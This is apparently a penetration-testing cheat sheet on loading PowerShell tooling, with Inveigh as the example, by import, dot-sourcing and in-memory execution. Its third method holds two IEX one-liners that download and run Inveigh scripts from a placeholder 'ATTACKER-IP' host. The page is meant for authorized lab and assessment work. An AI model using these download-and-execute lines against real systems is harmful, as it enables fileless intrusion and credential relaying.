PowerShell
Quick notes for loading PowerShell tooling/modules during labs and assessments.
info
Use these examples only in authorized environments.
Import Methods
1) Import with Import-Module
Use this when you have a module manifest (.psd1) available.
Import-Module ./Inveigh.psd1
2) Import using dot-sourcing
Dot-sourcing loads script functions into the current PowerShell session.
. ./Inveigh.ps1
. ./Inveigh-Relay.ps1
tip
If a function is “not recognized,” verify the script was dot-sourced in the same session.
3) Load into memory with Invoke-Expression (IEX)
Useful when pulling scripts from a remote host directly into memory.
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER-IP/Inveigh.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER-IP/Inveigh-Relay.ps1")
caution
IEX with remote content is high risk. Validate source integrity and use HTTPS whenever possible.
Quick Check
After loading, verify available commands:
Get-Command -Module Inveigh*